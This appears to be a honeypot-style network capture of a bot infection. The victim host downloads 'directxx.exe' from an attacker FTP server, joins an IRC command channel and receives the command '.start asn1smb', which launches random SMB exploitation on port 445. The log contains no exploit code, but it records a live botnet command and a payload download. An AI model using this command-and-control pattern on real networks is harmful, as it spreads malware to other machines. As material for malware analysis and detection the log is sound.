ATTACKER:	220 NzmxFtpd 0wns j0 
VICTIM:  	USER 1 
ATTACKER:	331 Password required 
VICTIM:  	PASS 1 
ATTACKER:	230 User logged in. 
VICTIM:  	PORT 192,168,1,41,4, 
ATTACKER:	200 PORT command successful. 
ATTACKER:	RETR directxx.exe 
ATTACKER:	150 Opening BINARY mode data connection 
ATTACKER:	226 Transfer complete. 
VICTIM:  	QUIT 
ATTACKER:	221 Goodbye happy r00ting. 
VICTIM:  	NICK USA|00|XP|SP0|L|388297USER fhgnfz 0 0 :USA|00|XP|SP0|L|388297 
ATTACKER:	:irc.kid.de NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead 
ATTACKER:	:irc.kid.de 001 USA|00|XP|SP0|L|388297 :Welcome to the cyberkid IRC Network USA|00|XP|SP0|L|388297!fhgnfz@192.168.1.41:irc.kid.de 002 USA|00|XP|SP0|L|388297 :Your host is irc.kid.de, running version Unreal3.2.4:irc.kid.de 003 USA|00|XP|SP0|L|388297 :This server was created Fri Apr 11 2008 at 00:16:23 CEST:irc.kid.de 004 USA|00|XP|SP0|L|388297 irc.kid.de Unreal3.2.4 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj:irc.kid.de 005 USA|00|XP|SP0|L|388297 SAFELIST HCN MAXCHANNELS=50 CHANLIMIT=#:50 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 WALLCHOPS WATCH=128 :are supported by this server:irc.kid.de 005 USA|00|XP|SP0|L|388297 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=cyberkid CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP :are supported by this server:irc.kid.de 251 USA|00|XP|SP0|L|388297 :There are 456 users and 41 invisible on 4 servers:irc.kid.de 252 USA|00|XP|SP0|L|388297 11 :operator(s) online:irc.kid.de 254 USA|00|XP|SP0|L|388297 10 :channels formed:irc.kid.de 255 USA|00|XP|SP0|L|388297 :I have 475 clients and 1 servers:irc.kid.de 265 USA|00|XP|SP0|L|388297 :Current Local Users: 475  Max: 1190:irc.kid.de 266 USA|00|XP|SP0|L|388297 :Current Global Users: 497  Max: 2463:irc.kid.de 375 USA|00|XP|SP0|L|388297 :- irc.kid.de Mes 
ATTACKER:	sage of the Day - :irc.kid.de 372 USA|00|XP|SP0|L|388297 :- 11/4/2008 1:16:irc.kid.de 372 USA|00|XP|SP0|L|388297 :- kid:irc.kid.de 372 USA|00|XP|SP0|L|388297 :- :irc.kid.de 376 USA|00|XP|SP0|L|388297 :End of /MOTD command.:USA|00|XP|SP0|L|388297 MODE USA|00|XP|SP0|L|388297 :+iwx 
VICTIM:  	USERHOST USA|00|XP|SP0|L|388297 
ATTACKER:	:irc.kid.de 302 USA|00|XP|SP0|L|388297 :USA|00|XP|SP0|L|388297=+fhgnfz@192.168.1.41     
VICTIM:  	MODE USA|00|XP|SP0|L|388297 -xt+iBJOIN ##FigaX## s33R09USERHOST USA|00|XP|SP0|L|388297MODE USA|00|XP|SP0|L|388297 -xt+iBJOIN ##FigaX## s33R09USERHOST USA|00|XP|SP0|L|388297MODE USA|00|XP|SP0|L|388297 -xt+iBJOIN ##FigaX## s33R09 
ATTACKER:	:irc.kid.de NOTICE USA|00|XP|SP0|L|388297 :BOTMOTD File not found:USA|00|XP|SP0|L|388297 MODE USA|00|XP|SP0|L|388297 :-x+B:USA|00|XP|SP0|L|388297!fhgnfz@192.168.1.41 JOIN :##FigaX##:irc.kid.de 332 USA|00|XP|SP0|L|388297 ##FigaX## :.start asn1smb 30 5 0 x.x.x.x:irc.kid.de 333 USA|00|XP|SP0|L|388297 ##FigaX## AnGel 1211495956:irc.kid.de 353 USA|00|XP|SP0|L|388297 @ ##FigaX## :USA|00|XP|SP0|L|388297 @wizard @matrix @mc ~AnGel :irc.kid.de 366 USA|00|XP|SP0|L|388297 ##FigaX## :End of /NAMES list.:irc.kid.de 302 USA|00|XP|SP0|L|388297 :USA|00|XP|SP0|L|388297=+fhgnfz@192.168.1.41    :irc.kid.de 302 USA|00|XP|SP0|L|388297 :USA|00|XP|SP0|L|388297=+fhgnfz@192.168.1.41     
VICTIM:  	PRIVMSG ##FigaX## :\002n\002z\037m\037 (root.p\037l\037g) \002\273\273\002  Random Exploitation started on x.x.x.x:445 waiting 5 seconds for 0 minutes using 30 threads.